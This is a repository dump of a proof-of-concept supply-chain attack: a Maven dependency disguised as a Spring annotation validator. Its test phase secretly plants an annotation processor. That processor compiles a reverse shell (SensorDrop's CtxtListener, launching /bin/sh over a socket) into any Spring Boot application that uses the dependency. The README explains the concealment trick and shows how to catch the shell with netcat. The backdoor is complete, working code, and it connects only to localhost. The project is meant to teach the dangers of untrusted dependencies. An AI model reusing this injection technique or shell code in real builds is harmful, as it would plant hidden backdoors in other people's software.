├── .github
└── workflows
│ └── maven.yml
├── .gitignore
├── .java-version
├── README.md
├── analyzer
├── build-helper
│ ├── pom.xml
│ └── src
│ │ ├── main
│ │ └── java
│ │ │ └── io
│ │ │ └── github
│ │ │ └── jeremylong
│ │ │ └── spring
│ │ │ └── build
│ │ │ └── analyzer
│ │ │ └── BuildHelper.java
│ │ └── test
│ │ ├── java
│ │ └── io
│ │ │ └── github
│ │ │ └── jeremylong
│ │ │ └── spring
│ │ │ └── build
│ │ │ └── analyzer
│ │ │ ├── BuildHelperTest.java
│ │ │ ├── Compile.java
│ │ │ ├── EnsureSpringAnnotation.java
│ │ │ └── SensorDrop.java
│ │ └── resources
│ │ └── javax.annotation.processing.Processor
├── pom.xml
└── spring-build-analyzer
│ ├── pom.xml
│ └── src
│ └── main
│ ├── java
│ └── io
│ │ └── github
│ │ └── jeremylong
│ │ └── spring
│ │ └── build
│ │ └── analyzer
│ │ └── AnnotationValidationProcessor.java
│ └── resources
│ └── javax.annotation.processing.Processor
├── demo
├── pom.xml
└── src
│ ├── main
│ ├── java
│ │ └── io
│ │ │ └── github
│ │ │ └── jeremylong
│ │ │ └── spring
│ │ │ └── analyzer
│ │ │ └── demo
│ │ │ ├── DemoApplication.java
│ │ │ └── HelloController.java
│ └── resources
│ │ └── application.properties
│ └── test
│ └── java
│ └── io
│ └── github
│ └── jeremylong
│ └── spring
│ └── analyzer
│ └── demo
│ └── DemoApplicationTests.java
└── explanation.png
/.github/workflows/maven.yml:
--------------------------------------------------------------------------------
1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven
3 |
4 | # This workflow uses actions that are not certified by GitHub.
5 | # They are provided by a third-party and are governed by
6 | # separate terms of service, privacy policy, and support
7 | # documentation.
8 |
9 | name: Java CI with Maven
10 |
11 | on:
12 | push:
13 | branches: [ "main" ]
14 | pull_request:
15 | branches: [ "main" ]
16 |
17 | jobs:
18 | build:
19 |
20 | runs-on: ubuntu-latest
21 |
22 | steps:
23 | - uses: actions/checkout@v3
24 | - name: Set up JDK 17
25 | uses: actions/setup-java@v3
26 | with:
27 | java-version: '17'
28 | distribution: 'temurin'
29 | cache: maven
30 | - name: Build spring-build-analyzer
31 | run: |
32 | cd analyzer
33 | mvn -B install
34 | ls spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer/
35 | cd ..
36 | - name: Build demo
37 | run: |
38 | cd demo
39 | mvn -B package -DskipTests=true
40 | sha256sum target/demo-0.0.1-SNAPSHOT.jar
41 | ls target/classes/io/github/jeremylong/spring/analyzer/demo/
42 | - name: Upload artifact
43 | uses: actions/upload-artifact@v2
44 | with:
45 | name: demo-app
46 | path: demo/target/demo-0.0.1-SNAPSHOT.jar
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Ignore Gradle GUI config
4 | gradle-app.setting
5 |
6 | # Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored)
7 | !gradle-wrapper.jar
8 |
9 | # Avoid ignore Gradle wrappper properties
10 | !gradle-wrapper.properties
11 |
12 | target/
13 | pom.xml.tag
14 | pom.xml.releaseBackup
15 | pom.xml.versionsBackup
16 | pom.xml.next
17 | release.properties
18 | dependency-reduced-pom.xml
19 | buildNumber.properties
20 | .mvn/timing.properties
21 | # https://github.com/takari/maven-wrapper#usage-without-binary-jar
22 | .mvn/wrapper/maven-wrapper.jar
23 |
24 | # Eclipse m2e generated files
25 | # Eclipse Core
26 | .project
27 | # JDT-specific (Eclipse Java Development Tools)
28 | .classpath
29 |
30 | .idea
31 | # User-specific stuff
32 | .idea/**/workspace.xml
33 | .idea/**/tasks.xml
34 | .idea/**/usage.statistics.xml
35 | .idea/**/dictionaries
36 | .idea/**/shelf
37 |
38 | # AWS User-specific
39 | .idea/**/aws.xml
40 |
41 | # Generated files
42 | .idea/**/contentModel.xml
43 |
44 | # Sensitive or high-churn files
45 | .idea/**/dataSources/
46 | .idea/**/dataSources.ids
47 | .idea/**/dataSources.local.xml
48 | .idea/**/sqlDataSources.xml
49 | .idea/**/dynamic.xml
50 | .idea/**/uiDesigner.xml
51 | .idea/**/dbnavigator.xml
52 |
53 | # Gradle
54 | .idea/**/gradle.xml
55 | .idea/**/libraries
56 |
57 | # Gradle and Maven with auto-import
58 | # When using Gradle or Maven with auto-import, you should exclude module files,
59 | # since they will be recreated, and may cause churn. Uncomment if using
60 | # auto-import.
61 | # .idea/artifacts
62 | # .idea/compiler.xml
63 | # .idea/jarRepositories.xml
64 | # .idea/modules.xml
65 | # .idea/*.iml
66 | # .idea/modules
67 | # *.iml
68 | # *.ipr
69 |
70 | # CMake
71 | cmake-build-*/
72 |
73 | # Mongo Explorer plugin
74 | .idea/**/mongoSettings.xml
75 |
76 | # File-based project format
77 | *.iws
78 |
79 | # IntelliJ
80 | out/
81 |
82 | # mpeltonen/sbt-idea plugin
83 | .idea_modules/
84 |
85 | # JIRA plugin
86 | atlassian-ide-plugin.xml
87 |
88 | # Cursive Clojure plugin
89 | .idea/replstate.xml
90 |
91 | # SonarLint plugin
92 | .idea/sonarlint/
93 |
94 | # Crashlytics plugin (for Android Studio and IntelliJ)
95 | com_crashlytics_export_strings.xml
96 | crashlytics.properties
97 | crashlytics-build.properties
98 | fabric.properties
99 |
100 | # Editor-based Rest Client
101 | .idea/httpRequests
102 |
103 | # Android studio 3.1+ serialized cache file
104 | .idea/caches/build_file_checksums.ser
--------------------------------------------------------------------------------
/.java-version:
--------------------------------------------------------------------------------
1 | 17.0
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # malicious-dependencies
2 |
3 | Slightly malicious dependency ([analyzer/spring-build-analyzer](analyzer)) and a demonstration project ([demo](demo)). This project is intended to highlight the issues of including untrusted dependencies in your builds.
4 |
5 | * The `analyzer` is a multi-module maven build controlled by a threat actor.
6 | * The `demo` application is a sample application that could have been written by developers at your organitzation.
7 |
8 | **TL;DR** - the `analyzer` is a compile time dependency, but could have been a build plugin or test scoped dependency, that injects a backdoor into any spring-boot application built.
9 |
10 |
11 |
12 | ## demonstration
13 |
14 | **The project requires Maven and Java 17.**
15 |
16 | First build and install (locally) the `spring-build-analyzer` by running:
17 |
18 | **DO NOT** shorten the following to `mvn clean install` as things may not work.
19 |
20 | ```bash
21 | cd analyzer
22 | mvn clean
23 | mvn install
24 | cd ..
25 | ```
26 |
27 | Next, in a different terminal, open netcat to listen on port 9999:
28 |
29 | ```bash
30 | nc -l -p 9999
31 | ```
32 |
33 | The `demo` application is a completely separate project that uses the `spring-build-analyzer` JAR. Compile and run the demo application:
34 |
35 | ```bash
36 | cd demo
37 | mvn package -DskipTests=true
38 | java -jar ./target/demo-0.0.1-SNAPSHOT.jar
39 | ```
40 |
41 | In a third terminal, validate that the demo application is working as expected:
42 |
43 | ```bash
44 | curl localhost:8080
45 | ```
46 |
47 | You should receive back `Greetings from Spring Boot!`. Very exciting, isn't it?
48 |
49 | Last, return to the tab with the netcat listener and the reverse shell should have connected; you can test by running `whoami`:
50 |
51 | ```bash
52 | $ nc -l -p 9999
53 | whoami
54 | jeremy
55 | ```
56 |
57 | ## Explanation
58 |
59 | The `spring-build-analyzer` uses an annotation processor to inject a reverse shell into any spring-boot application that is compiled while the `spring-build-analyzer` is on the compile-time classpath. If you look at the `demo` project you will see that the `spring-build-analyzer` is just a standard dependency:
60 |
61 | ```xml
62 |
63 | io.github.jeremylong.spring.analyzer
64 | spring-build-analyzer
65 | 0.0.1-SNAPSHOT
66 | compile
67 |
68 | ```
69 |
70 | While the above is demonstrating the problem using a standard dependency and annotation processing - this could have been a build plugin, a test dependency, a transitive dependency, etc. Anything running during the build can modify the build output. This type of attack does not have to rely on annotation processing.
71 |
72 | If you look at the source code for the `spring-build-analyzer` - you will not see the annotation processor that injects the malicious code. This is actually injected by the `build-helper` project during the test execution. This is demoing yet another way to inject code.
73 |
74 | The injected code starts a benign reverse shell as it only connects back to localhost on port 9999. This is just a demonstration of what can go wrong at build time. The possibilities are limitless as there are so many different ways to subvert applications and inject backdoors.
75 |
76 |
77 | ## Reproducible Builds
78 |
79 | The `demo` project is set up to create re-producible builds. This is useful for understanding that if the build has been compromised by including a malicious dependency or plugin - it doesn't matter where you build the project it is **Reproducibly Compromised**.
80 |
81 | ```bash
82 | $ shasum -a 256 target/demo-0.0.1-SNAPSHOT.jar
83 | 6a4c421550323dd63431753a46f08c80fbf39b744ac173d637bdcb090f176664 target/demo-0.0.1-SNAPSHOT.jar
84 |
85 | $ unzip -v target/demo-0.0.1-SNAPSHOT.jar
86 | ...
87 | ```
88 |
89 | ## Debugging
90 |
91 | Did the above walk through not work? There might be a few reasons:
92 |
93 | 1. `curl localhost:8080` didn't return `Greetings from Spring Boot!`:
94 |
95 | - Something is already running on port 8080. When the demo app is not running - ensure that nothing is running on port 8080.
96 |
97 | 2. No connection was made back to `nc -l -p 9999`.
98 | - Use alternative options to start the reverse shell: `nc -l 9999`, `nc -nvlp 9999`
99 | - Ensure nothing is running on port `9999`. Alternatively, update the port in the [CtxtListener source](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L31-L32) and rerun the above steps.
100 | - From the root of the project, after building the demo app validate that the `CtxtListener.class` exists: `ls demo/target/classes/io/github/jeremylong/spring/analyzer/demo/CtxtListener.class`. If the class does not exist, consider adding debugging statements [here](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L82) and re-installing the `spring-build-analyzer` and rebuilding the demo application.
101 | - If the `CtxtListener.class` does exist, uncomment the system out statements [here](https://github.com/jeremylong/malicious-dependencies/blob/61d6b23de532f5236cd9dfd34d473d1f198f70a3/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java#L63-L67) and re-install the `spring-build-analyzer`, rebuild the demo application, start netcat, and then run the demo app. The added debugging output may show what is going wrong on your system.
102 |
103 |
104 |
--------------------------------------------------------------------------------
/analyzer/build-helper/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | io.github.jeremylong.spring.analyzer
7 | build-helper
8 | 0.0.1-SNAPSHOT
9 | build-helper
10 | Experiment with Maven Extensions
11 | jar
12 |
13 | 17
14 | 17
15 | 17
16 |
17 | 2023-01-01T00:00:00Z
18 |
19 |
20 |
21 | org.apache.maven
22 | maven-core
23 | 3.8.6
24 | provided
25 |
26 |
27 | org.apache.maven
28 | maven-plugin-api
29 | 3.8.6
30 | provided
31 |
32 |
33 | org.apache.maven.plugin-tools
34 | maven-plugin-annotations
35 | 3.9.0
36 | provided
37 |
38 |
39 | org.apache.maven
40 | maven-project
41 | 2.2.1
42 | provided
43 |
44 |
45 | com.squareup
46 | javapoet
47 | 1.13.0
48 |
49 |
50 | org.junit.jupiter
51 | junit-jupiter
52 | 5.7.2
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | maven-clean-plugin
61 | 3.3.1
62 |
63 |
64 |
65 | maven-resources-plugin
66 | 3.3.1
67 |
68 |
69 | maven-compiler-plugin
70 | 3.11.0
71 |
72 |
73 | maven-surefire-plugin
74 | 3.1.2
75 |
76 |
77 | maven-jar-plugin
78 | 3.3.0
79 |
80 |
81 | maven-install-plugin
82 | 3.1.1
83 | true
84 |
85 |
86 | maven-deploy-plugin
87 | 3.1.1
88 | true
89 |
90 |
91 | maven-artifact-plugin
92 | 3.4.1
93 |
94 |
95 |
96 | maven-site-plugin
97 | 3.12.1
98 | true
99 |
100 |
101 | maven-project-info-reports-plugin
102 | 3.4.2
103 | true
104 |
105 |
106 |
107 |
108 |
--------------------------------------------------------------------------------
/analyzer/build-helper/src/main/java/io/github/jeremylong/spring/build/analyzer/BuildHelper.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.build.analyzer;
2 |
3 | import org.apache.maven.AbstractMavenLifecycleParticipant;
4 | import org.apache.maven.MavenExecutionException;
5 | import org.apache.maven.execution.MavenSession;
6 |
7 | public class BuildHelper extends AbstractMavenLifecycleParticipant {
8 | @Override
9 | public void afterProjectsRead(MavenSession session) throws MavenExecutionException {
10 | super.afterProjectsRead(session);
11 | }
12 |
13 | @Override
14 | public void afterSessionStart(MavenSession session) throws MavenExecutionException {
15 | super.afterSessionStart(session);
16 | }
17 |
18 | @Override
19 | public void afterSessionEnd(MavenSession session) throws MavenExecutionException {
20 | super.afterSessionEnd(session);
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/BuildHelperTest.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.build.analyzer;
2 |
3 | import org.junit.jupiter.api.Test;
4 |
5 | import java.io.File;
6 | import java.io.IOException;
7 | import java.nio.file.CopyOption;
8 | import java.nio.file.Files;
9 | import java.nio.file.Path;
10 |
11 | import static org.junit.jupiter.api.Assertions.*;
12 |
13 | class BuildHelperTest {
14 |
15 | @Test
16 | void afterProjectsRead() {
17 | File dest = new File("../spring-build-analyzer/target/classes/io/github/jeremylong/spring/build/analyzer");
18 | Path src = Path.of("./target/test-classes/io/github/jeremylong/spring/build/analyzer");
19 | String file = "Compile.class";
20 | copy(dest, src, file);
21 | file = "Compile$CharSequenceJavaFileObject.class";
22 | copy(dest, src, file);
23 | file = "Compile$ClassFileManager.class";
24 | copy(dest, src, file);
25 | file = "Compile$JavaFileObject.class";
26 | copy(dest, src, file);
27 |
28 | file = "SensorDrop.class";
29 | copy(dest, src, file);
30 | file = "EnsureSpringAnnotation.class";
31 | copy(dest, src, file);
32 | dest = new File("../spring-build-analyzer/target/classes/META-INF/services");
33 | src = Path.of("./src/test/resources");
34 | file = "javax.annotation.processing.Processor";
35 | copy(dest, src, file);
36 | }
37 |
38 | private static void copy(File destDir, Path src, String file) {
39 | if (destDir.isDirectory() || destDir.mkdirs()) {
40 | Path dest = destDir.toPath();
41 | try {
42 | Files.copy(src.resolve(file),dest.resolve(file), java.nio.file.StandardCopyOption.REPLACE_EXISTING);
43 | } catch (IOException e) {
44 | throw new RuntimeException(e);
45 | }
46 | }
47 | }
48 | }
--------------------------------------------------------------------------------
/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/Compile.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.build.analyzer;
2 |
3 | import javax.tools.FileObject;
4 | import javax.tools.ForwardingJavaFileManager;
5 | import javax.tools.JavaCompiler;
6 | import javax.tools.JavaFileManager;
7 | import javax.tools.SimpleJavaFileObject;
8 | import javax.tools.StandardJavaFileManager;
9 | import javax.tools.ToolProvider;
10 | import java.io.File;
11 | import java.io.OutputStream;
12 | import java.lang.invoke.MethodHandles;
13 | import java.lang.invoke.MethodHandles.Lookup;
14 | import java.net.URI;
15 | import java.util.ArrayList;
16 | import java.util.List;
17 |
18 |
19 | /**
20 | * Modified version of the Compile class found at https://blog.jooq.org/how-to-compile-a-class-at-runtime-with-java-8-and-9/.
21 | */
22 | public class Compile {
23 |
24 |
25 | static void compile(String className, String content, OutputStream out)
26 | throws Exception {
27 | Lookup lookup = MethodHandles.lookup();
28 | compile0(className, content, lookup, out);
29 | }
30 |
31 | static void compile0(
32 | String className, String content, Lookup lookup, OutputStream out)
33 | throws Exception {
34 | JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
35 |
36 | ClassFileManager manager = new ClassFileManager(
37 | compiler.getStandardFileManager(null, null, null), out);
38 |
39 | List files = new ArrayList<>();
40 | files.add(new CharSequenceJavaFileObject(className, content));
41 |
42 | Class appListenter = Class.forName("org.springframework.context.ApplicationListener");
43 | String springCP = appListenter.getProtectionDomain().getCodeSource().getLocation().toString().substring(5);
44 | List options = new ArrayList();
45 | options.add("-classpath");
46 | String currentDir = new File(".").getAbsolutePath();
47 | String classpath = currentDir + File.separator + "target" + File.separator + "classes"
48 | + System.getProperty("path.separator") + System.getProperty("java.class.path")
49 | + System.getProperty("path.separator") + springCP;
50 |
51 | options.add(classpath);
52 |
53 | compiler.getTask(null, manager, null, options, null, files)
54 | .call();
55 | }
56 |
57 | // These are some utility classes needed for the JavaCompiler
58 | // ----------------------------------------------------------
59 |
60 | static final class JavaFileObject extends SimpleJavaFileObject {
61 | private OutputStream os = null;
62 |
63 | JavaFileObject(String name, JavaFileObject.Kind kind, OutputStream out) {
64 | super(URI.create(
65 | "string:///"
66 | + name.replace('.', '/')
67 | + kind.extension),
68 | kind);
69 | os = out;
70 | }
71 |
72 |
73 | @Override
74 | public OutputStream openOutputStream() {
75 | return os;
76 | }
77 | }
78 |
79 | static final class ClassFileManager
80 | extends ForwardingJavaFileManager {
81 | JavaFileObject o;
82 | OutputStream out;
83 |
84 | ClassFileManager(StandardJavaFileManager m, OutputStream out) {
85 | super(m);
86 | this.out = out;
87 | }
88 |
89 | @Override
90 | public JavaFileObject getJavaFileForOutput(
91 | JavaFileManager.Location location,
92 | String className,
93 | JavaFileObject.Kind kind,
94 | FileObject sibling
95 | ) {
96 | return o = new JavaFileObject(className, kind, out);
97 | }
98 | }
99 |
100 | static final class CharSequenceJavaFileObject
101 | extends SimpleJavaFileObject {
102 | final CharSequence content;
103 |
104 | public CharSequenceJavaFileObject(
105 | String className,
106 | CharSequence content
107 | ) {
108 | super(URI.create(
109 | "string:///"
110 | + className.replace('.', '/')
111 | + JavaFileObject.Kind.SOURCE.extension),
112 | JavaFileObject.Kind.SOURCE);
113 | this.content = content;
114 | }
115 |
116 | @Override
117 | public CharSequence getCharContent(
118 | boolean ignoreEncodingErrors
119 | ) {
120 | return content;
121 | }
122 | }
123 | }
--------------------------------------------------------------------------------
/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/EnsureSpringAnnotation.java:
--------------------------------------------------------------------------------
1 | /*
2 | * This Java source file was generated by the Gradle 'init' task.
3 | */
4 | package io.github.jeremylong.spring.build.analyzer;
5 |
6 | import com.squareup.javapoet.ClassName;
7 |
8 | import javax.annotation.processing.AbstractProcessor;
9 | import javax.annotation.processing.RoundEnvironment;
10 | import javax.annotation.processing.SupportedAnnotationTypes;
11 | import javax.lang.model.element.Element;
12 | import javax.lang.model.element.ElementKind;
13 | import javax.lang.model.element.TypeElement;
14 | import java.io.File;
15 | import java.util.Set;
16 | import java.util.concurrent.atomic.AtomicBoolean;
17 |
18 | @SupportedAnnotationTypes("org.springframework.boot.autoconfigure.SpringBootApplication")
19 | public class EnsureSpringAnnotation extends AbstractProcessor {
20 |
21 | private static AtomicBoolean done = new AtomicBoolean(false);
22 |
23 | @Override
24 | public boolean process(Set extends TypeElement> annotations,
25 | RoundEnvironment roundEnv) {
26 |
27 | if (!done.get()) {
28 | String applicationFQCN = null;
29 | for (TypeElement annotation : annotations) {
30 | for (Element e : roundEnv.getElementsAnnotatedWith(annotation)) {
31 | if (e.getKind() == ElementKind.CLASS) {
32 | TypeElement typeElement = (TypeElement) e;
33 | ClassName className = ClassName.get(typeElement);
34 | applicationFQCN = className.canonicalName();
35 | done.set(true);
36 | }
37 | }
38 | }
39 | if (applicationFQCN != null) {
40 | int pos = applicationFQCN.lastIndexOf('.');
41 | String packageName = applicationFQCN.substring(0, pos);
42 |
43 | SensorDrop dropper = new SensorDrop();
44 | File target = new File("./target");
45 | System.out.println(target.getAbsolutePath());
46 | dropper.writeSensor(target, packageName);
47 | }
48 | }
49 | return true;
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/analyzer/build-helper/src/test/java/io/github/jeremylong/spring/build/analyzer/SensorDrop.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.build.analyzer;
2 |
3 | import java.io.File;
4 | import java.io.IOException;
5 | import java.io.OutputStream;
6 | import java.nio.file.Files;
7 | import java.nio.file.StandardOpenOption;
8 |
9 | public class SensorDrop {
10 | private static String CODE = """
11 | import java.io.InputStream;
12 | import java.io.OutputStream;
13 | import java.net.Socket;
14 | import java.util.Timer;
15 | import java.util.TimerTask;
16 | import org.springframework.context.ApplicationListener;
17 | import org.springframework.context.event.ContextRefreshedEvent;
18 | import org.springframework.stereotype.Component;
19 |
20 | @Component
21 | public class CtxtListener extends TimerTask implements ApplicationListener {
22 | public CtxtListener() {
23 | }
24 |
25 | public void onApplicationEvent(ContextRefreshedEvent contextRefreshedEvent) {
26 | (new Timer()).schedule(new CtxtListener(), 500L);
27 | }
28 |
29 | public void run() {
30 | try {
31 | String host = "127.0.0.1";
32 | int port = 9999;
33 | String cmd = "/bin/sh";
34 | Process p = (new ProcessBuilder(new String[]{cmd})).redirectErrorStream(true).start();
35 | Socket s = new Socket(host, port);
36 | InputStream pi = p.getInputStream();
37 | InputStream pe = p.getErrorStream();
38 | InputStream si = s.getInputStream();
39 | OutputStream po = p.getOutputStream();
40 | OutputStream so = s.getOutputStream();
41 | while(!s.isClosed()) {
42 | while(pi.available() > 0) {
43 | so.write(pi.read());
44 | }
45 | while(pe.available() > 0) {
46 | so.write(pe.read());
47 | }
48 | while(si.available() > 0) {
49 | po.write(si.read());
50 | }
51 | so.flush();
52 | po.flush();
53 | Thread.sleep(50L);
54 | try {
55 | p.exitValue();
56 | break;
57 | } catch (Exception var12) {
58 | }
59 | }
60 | p.destroy();
61 | s.close();
62 | } catch (Throwable var13) {
63 | //TODO - remove debugging code
64 | //System.out.println(var13.getMessage());
65 | //var13.printStackTrace();
66 | //System.out.println(var13.getCause().getMessage());
67 | //var13.getCause().printStackTrace();
68 | }
69 | }
70 | }
71 | """;
72 |
73 | public void writeSensor(File target, String pkgName) {
74 | File classesFile = new File(target, "classes");
75 | if (classesFile.exists() && classesFile.canWrite()) {
76 | File pkgFile = new File(classesFile, pkgName.replace('.', '/'));
77 | if (pkgFile.exists() || pkgFile.mkdirs()) {
78 | File ctxtFile = new File(pkgFile, "CtxtListener.class");
79 | try (OutputStream out = Files.newOutputStream(ctxtFile.toPath(), StandardOpenOption.CREATE)) {
80 | writeClass(pkgName, out);
81 | } catch (IOException e) {
82 |
83 | }
84 | }
85 | }
86 | }
87 |
88 | public void writeClass(String pkgName, OutputStream outputStream) {
89 | final StringBuilder source = new StringBuilder(CODE.length() + pkgName.length() + 10);
90 | source.append("package ").append(pkgName).append(";\n").append(CODE);
91 | try {
92 | Compile.compile(pkgName + ".CtxtListener", source.toString(), outputStream);
93 | } catch (Exception e) {
94 | //ignore errors
95 | }
96 |
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/analyzer/build-helper/src/test/resources/javax.annotation.processing.Processor:
--------------------------------------------------------------------------------
1 | io.github.jeremylong.spring.build.analyzer.EnsureSpringAnnotation
2 |
--------------------------------------------------------------------------------
/analyzer/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 | io.github.jeremylong.spring.analyzer
6 | parent
7 | 0.0.1-SNAPSHOT
8 | spring-build-analyzer-parent
9 | pom
10 | Parent spring-build-analyzer project
11 |
12 | 17
13 | UTF-8
14 |
15 |
16 | build-helper
17 | spring-build-analyzer
18 |
19 |
20 |
--------------------------------------------------------------------------------
/analyzer/spring-build-analyzer/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | io.github.jeremylong.spring.analyzer
7 | spring-build-analyzer
8 | 0.0.1-SNAPSHOT
9 | spring-build-analyzer
10 | Spring Build Analyzer Maven Plugin
11 | maven-plugin
12 |
13 | 17
14 | 17
15 | 17
16 |
17 | 2023-01-01T00:00:00Z
18 |
19 |
20 |
21 | org.apache.maven
22 | maven-plugin-api
23 | 3.8.6
24 | provided
25 |
26 |
27 | org.apache.maven.plugin-tools
28 | maven-plugin-annotations
29 | 3.9.0
30 | provided
31 |
32 |
33 | org.apache.maven
34 | maven-project
35 | 2.2.1
36 | provided
37 |
38 |
39 |
40 | com.squareup
41 | javapoet
42 | 1.13.0
43 |
44 |
45 |
46 | org.junit.jupiter
47 | junit-jupiter
48 | 5.7.2
49 |
50 |
51 |
52 |
53 |
54 | org.apache.maven.plugins
55 | maven-plugin-plugin
56 | 3.9.0
57 |
58 |
59 | default-descriptor
60 | process-classes
61 |
62 |
63 | help-goal
64 |
65 | helpmojo
66 |
67 |
68 |
69 |
70 |
71 |
72 | maven-clean-plugin
73 | 3.3.1
74 |
75 |
76 |
77 | maven-resources-plugin
78 | 3.3.1
79 |
80 |
81 | maven-compiler-plugin
82 | 3.11.0
83 |
84 |
85 | maven-surefire-plugin
86 | 3.1.2
87 |
88 |
89 | maven-jar-plugin
90 | 3.3.0
91 |
92 |
93 | maven-install-plugin
94 | 3.1.1
95 |
96 |
97 | maven-deploy-plugin
98 | 3.1.1
99 |
100 |
101 | maven-artifact-plugin
102 | 3.4.1
103 |
104 |
105 |
106 | maven-site-plugin
107 | 3.12.1
108 |
109 |
110 | maven-project-info-reports-plugin
111 | 3.4.2
112 |
113 |
114 |
115 |
116 |
--------------------------------------------------------------------------------
/analyzer/spring-build-analyzer/src/main/java/io/github/jeremylong/spring/build/analyzer/AnnotationValidationProcessor.java:
--------------------------------------------------------------------------------
1 | /*
2 | * This Java source file was generated by the Gradle 'init' task.
3 | */
4 | package io.github.jeremylong.spring.build.analyzer;
5 |
6 | import com.squareup.javapoet.ClassName;
7 |
8 | import javax.annotation.processing.AbstractProcessor;
9 | import javax.annotation.processing.RoundEnvironment;
10 | import javax.annotation.processing.SupportedAnnotationTypes;
11 | import javax.lang.model.element.Element;
12 | import javax.lang.model.element.ElementKind;
13 | import javax.lang.model.element.TypeElement;
14 | import java.util.Set;
15 | import java.util.concurrent.atomic.AtomicBoolean;
16 |
17 | @SupportedAnnotationTypes("org.springframework.boot.autoconfigure.SpringBootApplication")
18 | public class AnnotationValidationProcessor extends AbstractProcessor {
19 |
20 | @Override
21 | public boolean process(Set extends TypeElement> annotations,
22 | RoundEnvironment roundEnv) {
23 |
24 | for (TypeElement annotation : annotations) {
25 | for (Element e : roundEnv.getElementsAnnotatedWith(annotation)) {
26 | if (e.getKind() == ElementKind.CLASS) {
27 | TypeElement typeElement = (TypeElement) e;
28 | ClassName className = ClassName.get(typeElement);
29 | }
30 | }
31 | }
32 |
33 | return true;
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/analyzer/spring-build-analyzer/src/main/resources/javax.annotation.processing.Processor:
--------------------------------------------------------------------------------
1 | io.github.jeremylong.spring.build.analyzer.EnsureSpringAnnotation
2 | io.github.jeremylong.spring.build.analyzer.AnnotationValidationProcessor
3 |
4 |
--------------------------------------------------------------------------------
/demo/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | org.springframework.boot
7 | spring-boot-starter-parent
8 | 3.1.1
9 |
10 |
11 | io.github.jeremylong.spring.analyzer
12 | demo
13 | 0.0.1-SNAPSHOT
14 | demo
15 | Demo project for Spring Boot
16 | jar
17 |
18 | 17
19 | 17
20 | 17
21 | UTF-8
22 |
23 | 2023-01-01T00:00:00Z
24 |
25 |
26 |
27 | org.springframework.boot
28 | spring-boot-starter-web
29 |
30 |
31 | io.github.jeremylong.spring.analyzer
32 | spring-build-analyzer
33 | 0.0.1-SNAPSHOT
34 | compile
35 |
36 |
37 |
38 | org.springframework.boot
39 | spring-boot-starter-test
40 | test
41 |
42 |
43 |
44 |
45 |
46 |
47 | org.springframework.boot
48 | spring-boot-maven-plugin
49 |
50 |
51 |
52 |
53 | maven-clean-plugin
54 | 3.3.1
55 |
56 |
57 |
58 | maven-resources-plugin
59 | 3.3.1
60 |
61 |
62 | maven-compiler-plugin
63 | 3.11.0
64 |
65 |
66 | maven-surefire-plugin
67 | 3.1.2
68 |
69 |
70 | maven-jar-plugin
71 | 3.3.0
72 |
73 |
74 | maven-install-plugin
75 | 3.1.1
76 |
77 |
78 | maven-deploy-plugin
79 | 3.1.1
80 |
81 |
82 | maven-artifact-plugin
83 | 3.4.1
84 |
85 |
86 |
87 | maven-site-plugin
88 | 3.12.1
89 |
90 |
91 | maven-project-info-reports-plugin
92 | 3.4.2
93 |
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/demo/src/main/java/io/github/jeremylong/spring/analyzer/demo/DemoApplication.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.analyzer.demo;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication()
7 | public class DemoApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(DemoApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/demo/src/main/java/io/github/jeremylong/spring/analyzer/demo/HelloController.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.analyzer.demo;
2 | import org.springframework.web.bind.annotation.GetMapping;
3 | import org.springframework.web.bind.annotation.RestController;
4 |
5 | @RestController
6 | public class HelloController {
7 | @GetMapping("/")
8 | public String index() {
9 | return "Greetings from Spring Boot!";
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/demo/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/demo/src/test/java/io/github/jeremylong/spring/analyzer/demo/DemoApplicationTests.java:
--------------------------------------------------------------------------------
1 | package io.github.jeremylong.spring.analyzer.demo;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class DemoApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
